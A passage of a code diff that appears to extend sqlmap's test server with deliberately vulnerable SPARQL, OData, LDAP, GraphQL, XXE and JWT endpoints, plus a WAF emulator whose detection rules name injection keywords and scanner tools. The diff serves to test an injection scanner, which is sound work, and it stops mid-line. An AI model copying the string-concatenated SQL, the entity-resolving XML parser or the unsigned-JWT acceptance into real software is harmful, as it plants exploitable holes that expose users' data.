+ return len(_SPARQL_PREDICATES) + if "DISTINCT ?p" in inner: + return _SPARQL_PREDICATES[offset] if offset < len(_SPARQL_PREDICATES) else None + if "SELECT ?o" in inner: + return _SPARQL_OBJECTS[offset] if offset < len(_SPARQL_OBJECTS) else None + return None + + +def _sparql_cmp(value, cmp): + """Evaluate one comparison on the bound ?v, mirroring SPARQL semantics (an out-of-range SUBSTR is + the empty string, which is lexicographically below any real character).""" + + match = re.match(r"^\?v >= (\d+)$", cmp) + if match: + return isinstance(value, int) and value >= int(match.group(1)) + match = re.match(r"^STRLEN\(STR\(\?v\)\) >= (\d+)$", cmp) + if match: + return len("%s" % value) >= int(match.group(1)) + # a quote or a backslash arrives ECHAR-escaped, the way a real store receives it inside a literal + match = re.match(r'^SUBSTR\(STR\(\?v\),(\d+),1\) >= "(\\.|.)"$', cmp) + if match: + pos, ch = int(match.group(1)), match.group(2) + ch = {'\\"': '"', "\\\\": "\\"}.get(ch, ch) + text = "%s" % value + return (text[pos - 1] if pos <= len(text) else "") >= ch + return False + + +def _sparql_predicate(pred): + """Evaluate one injected FILTER predicate against the store.""" + + pred = pred.strip() + if pred in ("1=1", "(1=1)"): + return True + if pred in ("1=2", "(1=2)"): + return False + if "FILTER(!isIRI(?zo))" in pred: # the confirm contradiction (two FILTERs) + return False + if pred == "EXISTS { ?zs ?zp ?zo }": # the confirm positive + return bool(SPARQL_TRIPLES) + match = re.match(r"^EXISTS \{ SELECT \?v WHERE \{ (.*) FILTER\((.*)\) \} \}$", pred) + if match: + inner, cmp = match.group(1).strip(), match.group(2).strip() + offset = 0 + off = re.search(r"OFFSET (\d+)", inner) + if off: + offset = int(off.group(1)) + value = _sparql_bind(inner, offset) + return value is not None and _sparql_cmp(value, cmp) + return False + + +def sparql_evaluate(value): + """Evaluate the injected FILTER of SELECT ... FILTER(?name = ""). A well-formed boundary + reduces to its injected predicate; anything that leaves the string literal unbalanced raises a + Jena-style parser error (the fingerprint surface).""" + + # recognised OR-style boundaries: || () || + for quote, tail in (('"', '""!="'), ("'", "''!='")): + marker = '%s || (' % quote + suffix = ') || %s' % tail + if marker in value and value.endswith(suffix): + pred = value.split(marker, 1)[1][:-len(suffix)] + return _sparql_predicate(pred) + # numeric boundary: ) || () || (1=1 + if ") || (" in value and value.endswith(") || (1=1"): + pred = value.split(") || (", 1)[1][:-len(") || (1=1")] + return _sparql_predicate(pred) + # a bare, unbalanced break-out (the error probe) trips the parser + if value.count('"') % 2 or value.rstrip().endswith(("'", ")", ".")): + raise _SparqlError("Parse error: Lexical error at line 1, column %d. Encountered: " % (len(value) + 40)) + # the untouched original value simply matches its row + return any(o == value for _s, p, o in SPARQL_TRIPLES if p.endswith("name")) + +# --- OData endpoint (vulnerable $filter over a tiny in-memory entity set) -------------------------- + +class _ODataError(Exception): + pass + +# entities of the "Products" set. 'Secret' is readable via $filter yet never $select-ed, so a blind dump +# recovers a property the endpoint does not otherwise expose. +ODATA_ENTITIES = ( + {"Id": 1, "Name": "luther", "Secret": "S3CR3Tvalue"}, + {"Id": 2, "Name": "fluffy", "Secret": "hunter2"}, + {"Id": 3, "Name": "wu", "Secret": "letmein"}, +) +_ODATA_FIELDS = ("Id", "Name", "Secret") + + +def _odata_depths(expr): + """Paren depth after each character, IGNORING parens that sit inside a string literal (OData escapes + an inner quote by doubling it). Counting them blind made this evaluator reject filters that a real + OData service accepts - `substring(Name,0,1) eq '('` returned 400 here and 200 from ASP.NET Core - + which would let a genuine client-side bug hide behind a target-side one.""" + + depths = [] + depth, inside, index = 0, False, 0 + while index < len(expr): + ch = expr[index] + if inside: + if ch == "'": + if expr[index:index + 2] == "''": + depths.append(depth) # a doubled quote stays inside the literal + index += 1 + else: + inside = False + elif ch == "'": + inside = True + elif ch == "(": + depth += 1 + elif ch == ")": + depth -= 1 + depths.append(depth) + index += 1 + return depths + + +def _odata_split(expr, sep): + """Split on `sep` at paren depth zero (so 'a and (b or c)' is not broken inside the parentheses).""" + parts, buf = [], [] + for token in expr.split(sep): + buf.append(token) + chunk = sep.join(buf) + depths = _odata_depths(chunk) + if not depths or depths[-1] == 0: + parts.append(chunk) + buf = [] + if buf: + parts.append(sep.join(buf)) + return parts + + +def _odata_wrapped(expr): + """True when the whole expression is enclosed by one matching paren pair.""" + if not (expr.startswith("(") and expr.endswith(")")): + return False + depths = _odata_depths(expr) + return depths[-1] == 0 and all(_ > 0 for _ in depths[:-1]) + + +def _odata_eval(entity, expr): + """Recursively evaluate an OData boolean expression for one entity ('or' lowest precedence, then + 'and', then a leaf atom), so parenthesised sub-expressions nest correctly.""" + expr = expr.strip() + while _odata_wrapped(expr): + expr = expr[1:-1].strip() + ors = _odata_split(expr, " or ") + if len(ors) > 1: + return any(_odata_eval(entity, o) for o in ors) + ands = _odata_split(expr, " and ") + if len(ands) > 1: + return all(_odata_eval(entity, a) for a in ands) + return _odata_atom(entity, expr) + + +def _odata_atom(entity, atom): + """Evaluate one leaf OData boolean atom against one entity, mirroring the shapes sqlmap emits. Raises + _ODataError on an unknown property (a 400 surface).""" + + atom = atom.strip() + while _odata_wrapped(atom): + atom = atom[1:-1].strip() + + match = re.match(r"^length\('([^']*)'\) eq (\d+)$", atom) + if match: + return len(match.group(1)) == int(match.group(2)) + match = re.match(r"^startswith\('([^']*)','([^']*)'\)$", atom) + if match: + return match.group(1).startswith(match.group(2)) + match = re.match(r"^contains\('([^']*)','([^']*)'\)$", atom) + if match: + return match.group(2) in match.group(1) + if atom.startswith("substringof("): + raise _ODataError("substringof is not a v4 function") + match = re.match(r"^'([^']*)' eq '([^']*)'$", atom) + if match: + return match.group(1) == match.group(2) + match = re.match(r"^(\d+) eq (\d+)$", atom) + if match: + return match.group(1) == match.group(2) + match = re.match(r"^(\w+) eq '([^']*)'$", atom) # eq '' + if match: + if match.group(1) not in _ODATA_FIELDS: + raise _ODataError("Could not find a property named '%s' on type 'Default.Product'." % match.group(1)) + return "%s" % entity.get(match.group(1)) == match.group(2) + match = re.match(r"^(\w+) ne null$", atom) # existence probe + if match: + if match.group(1) not in _ODATA_FIELDS: + raise _ODataError("Could not find a property named '%s' on type 'Default.Product'." % match.group(1)) + return entity.get(match.group(1)) is not None + match = re.match(r"^(\w+) (eq|ge|gt|le|lt) (-?\d+)$", atom) # + if match: + prop, op, num = match.group(1), match.group(2), int(match.group(3)) + if prop not in _ODATA_FIELDS: + raise _ODataError("Could not find a property named '%s' on type 'Default.Product'." % prop) + val = entity.get(prop) + if not isinstance(val, int): + return False + return {"eq": val == num, "ge": val >= num, "gt": val > num, "le": val <= num, "lt": val < num}[op] + match = re.match(r"^length\((\w+)\) (eq|ge) (\d+)$", atom) # length() N + if match: + prop, op, num = match.group(1), match.group(2), int(match.group(3)) + if prop not in _ODATA_FIELDS: + raise _ODataError("Could not find a property named '%s' on type 'Default.Product'." % prop) + length = len("%s" % entity.get(prop, "")) + return length == num if op == "eq" else length >= num + # substring(,pos,1) eq 'c' - an inner quote arrives DOUBLED, the way the OData spec escapes it + match = re.match(r"^substring\((\w+),(\d+),1\) eq '(''|.)'$", atom) + if match: + prop, pos, ch = match.group(1), int(match.group(2)), match.group(3) + ch = "'" if ch == "''" else ch + if prop not in _ODATA_FIELDS: + raise _ODataError("Could not find a property named '%s' on type 'Default.Product'." % prop) + text = "%s" % entity.get(prop, "") + return pos < len(text) and text[pos] == ch # 0-indexed, ordinal (case-sensitive) + raise _ODataError("Syntax error at position 0 in '%s'." % atom) + + +def odata_evaluate(name): + """Return the entities matched by $filter=Name eq ''. A balanced break-out reduces to its + injected predicate; an unbalanced string literal raises a Microsoft-OData-style parser error.""" + + expr = "Name eq '%s'" % name + if expr.count("'") % 2: + raise _ODataError("The query specified in the URI is not valid. There is an unterminated string " + "literal at position 8 in '%s'." % expr) + return [entity for entity in ODATA_ENTITIES if _odata_eval(entity, expr)] + +# --- XPath endpoint (vulnerable search and login, backed by an in-memory XML document) ------------ + +XSLT_DOC = """luther10\ +fluffy20""" + +# The element slot: user input lands BETWEEN elements, so it can introduce whole XSLT instructions. +XSLT_ELEMENT_SHEET = """ + +
%s
+
""" + +# The value slot: user input lands INSIDE select="...", so it can only carry an XPath expression. +XSLT_VALUE_SHEET = """ + +
+ +
+""" + +XPATH_XML = """ + + + + luther + Luther Blisset + luther@example.com + db3a16990a0008a3b04707fdef6584a0 + System Administrator + London + +1 555 0100 + + + fluffy + Fluffy Bunny + fluffy@example.com + 4db967ce67b15e7fb84c266a76684729 + Security Engineer + Amsterdam + +1 555 0102 + + + wu + Wu Ming + wu@example.com + f5a2950eaa10f9e99896800eacbe8275 + Network Administrator + Shanghai + +86 21 555 0103 + + + + + linus + Linus Torvalds + linus@example.com + 8e7b6a5c4d321908f7e6d5c4b3a2910f + Kernel Developer + Portland + +1 555 0200 + + + ada + Ada Lovelace + ada@example.com + 1a2b3c4d5e6f7081920a1b2c3d4e5f60 + Algorithm Designer + London + +44 20 555 0201 + + + + + grace + Grace Hopper + grace@example.com + 9e8d7c6b5a493827160e9d8c7b6a5948 + CTO + New York + +1 555 0300 + + +""" + +def _xpath_element_to_dict(el): + """Convert an lxml element to a dict for JSON serialization.""" + retVal = dict(el.attrib) + retVal["tag"] = el.tag + retVal["text"] = (el.text or "").strip() + children = [] + for child in el: + children.append(_xpath_element_to_dict(child)) + if children: + retVal["children"] = children + return retVal + _conn = None _cursor = None _lock = None _server = None _alive = False _csrf_token = None +_ratelimit_hits = 0 + +# number of initial hits to '/ratelimit' answered with 429 before it behaves normally +RATELIMIT_INITIAL_429 = 1 def init(quiet=False): global _conn @@ -157,6 +736,474 @@ def finish_request(self, *args, **kwargs): if DEBUG: traceback.print_exc() +# Primitive (CRS-style) WAF/IPS emulator used to exercise the automatic WAF/IPS bypass. The request +# surface is normalized like a real WAF (lowercase, comments->space, whitespace compressed) BEFORE +# a cumulative anomaly score is summed; when the score reaches the per-level threshold the request +# is blocked (403 + marker). The rules are shaped so that camouflage tampers (case/whitespace/ +# comments) are normalized away and a *structural* substitution (e.g. 'between'/'equaltolike', +# which removes the scored '=' operator) is the genuine bypass - matching real-world behavior. +# +# The emulator also models the OTHER real-world dimension: a scanner-fingerprint rule (mirroring +# CRS 913100) adds a constant score for a recognizable scanner User-Agent that *stacks* with the +# payload score. Its weight is below every threshold, so the scanner UA alone never blocks (benign +# browsing passes), but it tips an otherwise-permitted payload over the threshold - so neutralizing +# the request fingerprint (a non-scanner User-Agent) is itself a genuine bypass, with no SQL tamper. +WAF_NUMERIC_COMPARISON = r"\d+\s*=\s*\d+" # numeric self-comparison (boolean payloads); the structural lever 'between'/'equaltolike' removes it +WAF_RULES = ( + (r"\bunion\b.{0,40}\bselect\b", 6), + (r"\binformation_schema\b", 5), + (r"\b(sleep|benchmark|extractvalue|updatexml|xp_cmdshell|waitfor)\b", 5), + (r"\b(select|insert|update|delete|drop)\b", 3), + (WAF_NUMERIC_COMPARISON, 4), + (r" cumulative score that triggers a block +WAF_SCANNER_UA = r"(?i)\b(?:sqlmap|nikto|nessus|acunetix|nmap|masscan|w3af|havij|wpscan|dirbuster|arachni)\b" +WAF_SCANNER_UA_WEIGHT = 3 # CRS 913100-style: constant score for a scanner User-Agent, stacked with the payload score + +# Levels 4-5 model a libinjection-class WAF (e.g. OWASP CRS rule 942100): ANY boolean-comparison +# fingerprint scores a flat amount REGARDLESS of operator, so '=','LIKE','BETWEEN','IN' are all +# caught equally - structural tampers (between/equaltolike) do NOT help. There, neutralizing the +# scanner fingerprint is the only payload-preserving bypass (level 4); when even that is not enough +# the search must bail honestly (level 5). This mirrors the hardest real-world case. +WAF_LIBINJECTION_LEVELS = (4, 5) +WAF_LIBINJECTION_WEIGHT = 5 +WAF_LIBINJECTION = r"(?i)\b(?:and|or)\b.{0,40}(?:=|>|<|\blike\b|\bbetween\b|\bin\b|\brlike\b|\bregexp\b)" + +def waf_score(value, ua=None, level=0): + value = (value or "").lower() + value = re.sub(r"/\*.*?\*/", " ", value) # t:replaceComments (note: -> single space, not empty) + value = re.sub(r"(?:--|#)[^\n]*", " ", value) # t:removeComments (line comments) + value = re.sub(r"\s+", " ", value) # t:compressWhitespace + libinjection = level in WAF_LIBINJECTION_LEVELS + retVal = sum(weight for (pattern, weight) in WAF_RULES if not (libinjection and pattern == WAF_NUMERIC_COMPARISON) and re.search(pattern, value)) + if libinjection and re.search(WAF_LIBINJECTION, value): # operator-agnostic comparison score (tampers cannot remove it) + retVal += WAF_LIBINJECTION_WEIGHT + if ua and re.search(WAF_SCANNER_UA, ua): # scanner-fingerprint score, stacked with the payload score + retVal += WAF_SCANNER_UA_WEIGHT + return retVal + +# --- LDAP endpoint (vulnerable search and login, backed by the directory table) ------------------ + +def _ldap_escape_like(value): + """Escape a value for safe embedding in a SQLite LIKE pattern: backslash, percent, + and underscore are the only characters with special meaning in LIKE.""" + if value is None: + return None + return value.replace('\\', '\\\\').replace('%', '\\%').replace('_', '\\_') + +def _ldap_attr(attr): + """Map an LDAP attribute name to the directory table column, or None if unknown.""" + valid = {"dn", "uid", "cn", "sn", "givenName", "displayName", "userPassword", "mail", "objectClass", "objectCategory", "ou", "title", "department", "company", "o", "telephoneNumber", "mobile", "manager", "description", "l", "st", "street", "postalCode", "c", "employeeNumber", "employeeType", "member"} + return attr if attr in valid else None + +def _ldap_match(text, start): + """Find the closing ')' that balances the opening '(' at `start`. Skip escaped + hex sequences (e.g. \\28 for literal '(' inside a value) but treat every raw ')' + as a structural closer.""" + depth = 0 + i = start + while i < len(text): + ch = text[i] + if ch == '(': + depth += 1 + elif ch == ')': + depth -= 1 + if depth == 0: + return i + 1 + elif ch == '\\': + i += 1 + i += 1 + return len(text) + +def _ldap_parse_value(text, start): + """Parse an assertion value from filter text at position `start`, handling escape sequences. + Returns (value, end_pos).""" + retVal = [] + i = start + while i < len(text) and text[i] not in (')',): + if text[i] == '\\' and i + 2 < len(text): + retVal.append(chr(int(text[i+1:i+3], 16))) + i += 3 + else: + retVal.append(text[i]) + i += 1 + return ''.join(retVal), i + +def _ldap_filter_to_sql(text, start=0): + """Convert an LDAP filter substring starting at `start` to a parameterized + SQLite WHERE clause. Returns (sql_template, params, end_pos) or (None, [], end_pos) + on parse failure. Values are passed as parameters so that user-controlled + characters (apostrophe, backslash, etc.) cannot break the SQL string literal.""" + + if start >= len(text) or text[start] != '(': + return None, [], start + + i = start + 1 + if i >= len(text): + return None, [], start + + op = text[i] + i += 1 + + if op in ('&', '|'): + # Compound filter: collect all sub-filters + sub_clauses = [] + sub_params = [] + while i < len(text) and text[i] == '(': + clause, params, i = _ldap_filter_to_sql(text, i) + if clause: + sub_clauses.append(clause) + sub_params.extend(params) + # Always use bracket-matched end so nested compounds don't shift the + # parent's notion of where this child ends (reviewer blocker 3) + end = _ldap_match(text, start) + if not sub_clauses: + return None, [], end + if len(sub_clauses) == 1: + return sub_clauses[0], sub_params, end + joiner = " AND " if op == '&' else " OR " + return "(%s)" % joiner.join(sub_clauses), sub_params, end + + elif op == '!': + # NOT filter + clause, params, i = _ldap_filter_to_sql(text, i) + end = _ldap_match(text, start) + if clause: + return "(NOT (%s))" % clause, params, end + return None, [], end + + else: + # Simple filter: attr OP value + # Re-read from start+1 to get the full attr name + j = start + 1 + while j < len(text) and text[j] not in ('=', '>', '<', '~', ')'): + j += 1 + attr = text[start+1:j].strip() + if not attr: + return None, [], _ldap_match(text, start) + + col = _ldap_attr(attr) + if col is None: + return None, [], _ldap_match(text, start) + + if j >= len(text): + return None, [], start + + # Check for approx match (~=) + if text[j] == '~' and j + 1 < len(text) and text[j+1] == '=': + op_type = '~=' + j += 2 + elif text[j] == '>' and j + 1 < len(text) and text[j+1] == '=': + op_type = '>=' + j += 2 + elif text[j] == '<' and j + 1 < len(text) and text[j+1] == '=': + op_type = '<=' + j += 2 + elif text[j] == '=': + op_type = '=' + j += 1 + else: + return None, [], _ldap_match(text, start) + + value, _ = _ldap_parse_value(text, j) + end = _ldap_match(text, start) + + if op_type == '=': + if value == '*': + return "(%s IS NOT NULL AND %s != '')" % (col, col), [], end + elif '*' in value: + parts = value.split('*') + if len(parts) == 2 and not parts[0] and not parts[1]: + # Just '*' -> presence + return "(%s IS NOT NULL AND %s != '')" % (col, col), [], end + elif len(parts) == 2 and parts[0] and not parts[1]: + # 'prefix*' -> anchored prefix match (LDAP semantics) + return "(%s LIKE ? ESCAPE '\\')" % col, ["%s%%" % _ldap_escape_like(parts[0])], end + elif len(parts) == 2 and not parts[0] and parts[1]: + # '*suffix' -> anchored suffix match (LDAP semantics) + return "(%s LIKE ? ESCAPE '\\')" % col, ["%%%s" % _ldap_escape_like(parts[1])], end + else: + # '*mid*', 'pre*mid*suf', etc. -- split('*') already + # partitions the value into literal segments; joining + # them with '%' naturally produces the correct anchored + # LIKE pattern: empty first/last elements from surrounding + # wildcards become leading/trailing '%' automatically. + pattern = '%'.join(_ldap_escape_like(p) for p in parts) + return "(%s LIKE ? ESCAPE '\\')" % col, [pattern], end + else: + return "(%s = ?)" % col, [value], end + elif op_type == '>=': + return "(%s >= ?)" % col, [value], end + elif op_type == '<=': + return "(%s <= ?)" % col, [value], end + elif op_type == '~=': + return "(%s = ?)" % col, [value], end + + return None, [], end + + +def _ldap_execute(filter_str): + """Execute an LDAP filter against the directory table. Returns (rows, error_msg).""" + if not filter_str or not filter_str.strip(): + return None, "Bad search filter" + + # Simple bracket validation + if filter_str.count('(') != filter_str.count(')'): + return None, "Bad search filter (-7)" + + try: + clause, params, _ = _ldap_filter_to_sql(filter_str) + if not clause: + return None, "Bad search filter (-7)" + + sql = "SELECT * FROM directory WHERE %s" % clause + with _lock: + _cursor.execute(sql, params) + rows = _cursor.fetchall() + return rows, None + except Exception as ex: + msg = str(ex) + # Emulate different back-end error messages + if "no such column" in msg.lower(): + return None, "Bad search filter" + if "unrecognized" in msg.lower() or "syntax" in msg.lower(): + return None, "Bad search filter (-7)" + return None, "Bad search filter (%s)" % msg.split(':')[0] + +def _ldap_row_to_obj(row): + """Convert a SQLite row to a dict with non-None attributes.""" + if not row: + return None + keys = ("dn", "uid", "cn", "sn", "givenName", "displayName", "userPassword", "mail", "objectClass", "objectCategory", "ou", "title", "department", "company", "o", "telephoneNumber", "mobile", "manager", "description", "l", "st", "street", "postalCode", "c", "employeeNumber", "employeeType", "member") + return dict((k, row[i]) for i, k in enumerate(keys) if row[i] is not None) + +# --- GraphQL endpoint (vulnerable Apollo-style, backed by the same SQLite database) ---------- + +# Hard-coded introspection response matching the schema below. Every GraphQL tool (including +# sqlmap's --graphql engine) uses this to discover fields, arguments, and types. +def _graphql_introspection(): + return { + "data": { + "__schema": { + "queryType": {"name": "Query"}, + "mutationType": {"name": "Mutation"}, + "subscriptionType": None, + "directives": [], + "types": [ + {"kind": "OBJECT", "name": "Query", "fields": [ + {"name": "user", "args": [ + {"name": "username", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}} + ], "type": {"kind": "OBJECT", "name": "User", "ofType": None}}, + {"name": "search", "args": [ + {"name": "term", "defaultValue": None, "type": {"kind": "SCALAR", "name": "String", "ofType": None}} + ], "type": {"kind": "LIST", "name": None, "ofType": {"kind": "OBJECT", "name": "User", "ofType": None}}}, + {"name": "login", "args": [ + {"name": "username", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}}, + {"name": "password", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}} + ], "type": {"kind": "OBJECT", "name": "AuthPayload", "ofType": None}}, + ], "inputFields": None, "enumValues": None}, + {"kind": "OBJECT", "name": "Mutation", "fields": [ + {"name": "updateUser", "args": [ + {"name": "id", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Int", "ofType": None}}}, + {"name": "email", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}} + ], "type": {"kind": "OBJECT", "name": "User", "ofType": None}}, + ], "inputFields": None, "enumValues": None}, + {"kind": "INPUT_OBJECT", "name": "UpdateUserInput", "inputFields": [ + {"name": "id", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Int", "ofType": None}}}, + {"name": "email", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}} + ]}, + {"kind": "SCALAR", "name": "Int"}, + {"kind": "SCALAR", "name": "String"}, + {"kind": "SCALAR", "name": "Boolean"}, + {"kind": "SCALAR", "name": "Float"}, + {"kind": "SCALAR", "name": "ID"}, + {"kind": "OBJECT", "name": "User", "fields": [ + {"name": "id", "args": [], "type": {"kind": "SCALAR", "name": "Int", "ofType": None}}, + {"name": "name", "args": [], "type": {"kind": "SCALAR", "name": "String", "ofType": None}}, + {"name": "surname", "args": [], "type": {"kind": "SCALAR", "name": "String", "ofType": None}}, + ], "inputFields": None, "enumValues": None}, + {"kind": "OBJECT", "name": "AuthPayload", "fields": [ + {"name": "token", "args": [], "type": {"kind": "SCALAR", "name": "String", "ofType": None}}, + {"name": "user", "args": [], "type": {"kind": "OBJECT", "name": "User", "ofType": None}}, + ], "inputFields": None, "enumValues": None}, + ] + } + } + } + + +def _graphql_arg(raw): + """Parse a single GraphQL argument value: strip quotes from strings, keep numbers as-is""" + raw = raw.strip() + if raw.startswith('"') and raw.endswith('"'): + return raw[1:-1].replace('\\"', '"') + return raw + + +def _graphql_match(text, start): + """Index just past the bracket matching the one at text[start] ('(' or '{'), skipping over + double-quoted strings so brackets inside argument literals (e.g. an injected SQL payload) and + nested selection sets do not throw off the balance.""" + + pairs = {'(': ')', '{': '}'} + opener, closer = text[start], pairs[text[start]] + depth, i, n = 0, start, len(text) + while i < n: + char = text[i] + if char == '"': + i += 1 + while i < n and text[i] != '"': + i += 2 if text[i] == '\\' else 1 + elif char == opener: + depth += 1 + elif char == closer: + depth -= 1 + if depth == 0: + return i + 1 + i += 1 + return n + + +def _graphql_selections(body): + """Split a selection set into its top-level (alias, field, rawArgs) fields, tolerating aliasing, + argument literals carrying brackets/quotes, and nested selection sets (which are skipped over).""" + + identifier = re.compile(r'[A-Za-z_]\w*') + selections, i, n = [], 0, len(body) + while i < n: + while i < n and body[i] in ' \t\r\n,': + i += 1 + match = identifier.match(body, i) + if not match: + i += 1 + continue + name, i = match.group(0), match.end() + + j = i + while j < n and body[j] in ' \t\r\n': + j += 1 + if j < n and body[j] == ':': # 'name' was an alias; the real field follows + j += 1 + while j < n and body[j] in ' \t\r\n': + j += 1 + match = identifier.match(body, j) + if not match: + continue + alias, field, i = name, match.group(0), match.end() + else: + alias, field = None, name + + while i < n and body[i] in ' \t\r\n': + i += 1 + rawArgs = "" + if i < n and body[i] == '(': + end = _graphql_match(body, i) + rawArgs, i = body[i + 1:end - 1], end + + while i < n and body[i] in ' \t\r\n': + i += 1 + if i < n and body[i] == '{': # skip this field's (possibly nested) selection set + i = _graphql_match(body, i) + + selections.append((alias, field, rawArgs)) + return selections + + +def _graphql_resolve(query, variables): + """Minimal GraphQL resolver: parse the query, call the matching resolver for each top-level field, + and return (data_dict_or_None, errors_list). Multiple aliased fields are supported in one request + (alias:field(args){...} ...), so a client can batch independent probes into a single round-trip.""" + + variables = variables or {} + errors = [] + data = {} + + op = "query" + for keyword in ("mutation", "subscription"): + if query.strip().startswith(keyword): + op = keyword + break + + start = query.find('{') + if start == -1: + errors.append({"message": "Cannot parse query", "extensions": {"code": "GRAPHQL_PARSE_FAILED"}}) + return None, errors + + for alias, field, rawArgs in _graphql_selections(query[start + 1:_graphql_match(query, start) - 1]): + key = alias or field + + # Parse arguments + args = {} + for am in re.finditer(r'(\w+)\s*:\s*("(?:[^"\\]|\\.)*"|\$?\w+(?:\.\w+)?)', rawArgs): + name, val = am.group(1), am.group(2) + if val.startswith('$'): + args[name] = variables.get(val[1:], None) + else: + args[name] = _graphql_arg(val) + + try: + if field in ("__typename", "__schema"): + data[key] = op.title() + elif field == "user": + data[key] = _resolver_user(args.get("username")) + elif field == "search": + data[key] = _resolver_search(args.get("term")) + elif field == "login": + data[key] = _resolver_login(args.get("username"), args.get("password")) + elif field == "updateUser": + data[key] = _resolver_updateUser(args.get("id"), args.get("email")) + else: + errors.append({"message": "Cannot query field '%s' on type '%s'. Did you mean 'user', 'search', 'login', or 'updateUser'?" % (field, op.title()), + "extensions": {"code": "GRAPHQL_VALIDATION_FAILED"}}) + except Exception as ex: + # Leak the backend error through the GraphQL error envelope (as many real servers do + # in development mode) -- this drives error-based detection + errors.append({"message": "%s: %s" % (re.search(r"'([^']+)'", str(type(ex))).group(1), ex), + "path": [key], "extensions": {"exception": str(ex)}}) + + if not data and not errors: + return None, errors + return data, errors + + +# --- Vulnerable resolvers (direct string concatenation into SQLite) ------------------------ + +def _resolver_user(username): + if not username: + return None + with _lock: + _cursor.execute("SELECT id, name, surname FROM users WHERE name='%s'" % username) + row = _cursor.fetchone() + return {"id": row[0], "name": row[1], "surname": row[2]} if row else None + + +def _resolver_search(term): + with _lock: + _cursor.execute("SELECT id, name, surname FROM users WHERE name LIKE '%%%s%%'" % (term or "")) + rows = _cursor.fetchall() + return [{"id": r[0], "name": r[1], "surname": r[2]} for r in (rows or [])] + + +def _resolver_login(username, password): + if not username or not password: + return None + with _lock: + _cursor.execute("SELECT u.id, u.name, u.surname FROM users u JOIN creds c ON u.id=c.user_id WHERE u.name='%s' AND c.password_hash='%s'" % (username, password)) + row = _cursor.fetchone() + if row: + return {"token": "tok_%d_%s" % (row[0], row[1]), "user": {"id": row[0], "name": row[1], "surname": row[2]}} + return None # returns null in data (boolean oracle: true=object, false=null) + + +def _resolver_updateUser(id_, email): + with _lock: + _cursor.execute("UPDATE users SET surname='%s' WHERE id=%s" % (email, id_)) + _cursor.execute("SELECT id, name, surname FROM users WHERE id=%s" % id_) + row = _cursor.fetchone() + return {"id": row[0], "name": row[1], "surname": row[2]} if row else None + + class ReqHandler(BaseHTTPRequestHandler): def do_REQUEST(self): path, query = self.path.split('?', 1) if '?' in self.path else (self.path, "") @@ -198,6 +1245,80 @@ def do_REQUEST(self): self.url, self.params = path, params + # primitive WAF/IPS emulator (opt-in via 'security_level' param; 0/absent = off) + try: + level = int(self.params.get("security_level", 0) or 0) + except (TypeError, ValueError): + level = 0 + + if level > 0: + surface = "%s %s" % (unquote_plus(query), getattr(self, "data", "") or "") + if waf_score(surface, ua=self.params.get("user-agent"), level=level) >= WAF_THRESHOLD.get(level, 2): + self.send_response(FORBIDDEN) + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + self.wfile.write(b"Request blocked: security policy violation (WAF)") + return + + # rate-limit emulator ('/ratelimit'): the first hit(s) answer 429 with a 'Retry-After', then + # it behaves like the default SQLi endpoint - so a client that honors the backoff and retries + # eventually gets through (drives the adaptive rate-limit handling) + if self.url == "/ratelimit": + global _ratelimit_hits + _ratelimit_hits += 1 + if _ratelimit_hits <= RATELIMIT_INITIAL_429: + self.send_response(429) + self.send_header("Retry-After", "0") + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + self.wfile.write(b"Too Many Requests") + return + self.url = "/" + + if self.url == "/xxe": + self.send_response(OK) + self.send_header("Content-type", "application/xml; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + + body = getattr(self, "data", "") or "" + try: + from lxml import etree + # VULNERABLE: a parser configured to load DTDs and resolve entities (incl. + # external file:// general entities) - the textbook XXE misconfiguration. + parser = etree.XMLParser(resolve_entities=True, load_dtd=True, no_network=True) + root = etree.fromstring(body.encode(UNICODE_ENCODING), parser) + output = "%s" % "".join(root.itertext()) # reflects expanded entities + except Exception as ex: + output = "%s: %s" % (type(ex).__name__, ex) # parser diagnostic (error-based tier) + + self.wfile.write(output.encode(UNICODE_ENCODING, "ignore")) + return + + if self.url == "/jwt": + self.send_response(OK) + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + + parsed = _jwt_parse(self.params.get("session", "")) + output = "access denied. please sign in." + if parsed: + header, payload, _ = parsed + kid = header.get("kid") + if hasattr(kid, "count") and kid.count("'") % 2 == 1: # str/unicode (py2/py3), not an int/dict + # VULNERABLE: 'kid' feeds a key-lookup query unsanitized -> a lone quote breaks it + output = "You have an error in your SQL syntax near '%s'" % kid + elif (header.get("alg") or "").lower() == "none": + output = "welcome back, %s. secret area." % payload.get("user") # VULN: unsigned accepted + elif _jwt_forge(header, payload, JWT_SECRET) == self.params.get("session"): + output = "welcome back, %s. secret area." % payload.get("user") + + self.wfile.write(output.encode(UNICODE_ENCODING, "ignore")) + return + if self.url == "/csrf": if self.params.get("csrf_token") == _csrf_token: self.url = "/" @@ -220,6 +1341,317 @@ def do_REQUEST(self): self.wfile.write(form.encode(UNICODE_ENCODING)) return + if self.url == "/nosql": + self.send_response(OK) + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + + try: + output = "Welcome %s" % self.params.get("name") if nosql_match(self.params) else "Invalid credentials" + except re.error: # invalid $regex -> emulate a MongoDB driver error (drives fingerprinting) + output = "MongoServerError: Regular expression is invalid: missing terminating ] for character class" + + self.wfile.write(output.encode(UNICODE_ENCODING)) + return + + if self.url == "/graphql": + self.send_response(OK) + self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + + query = self.params.get("query", "") + variables = 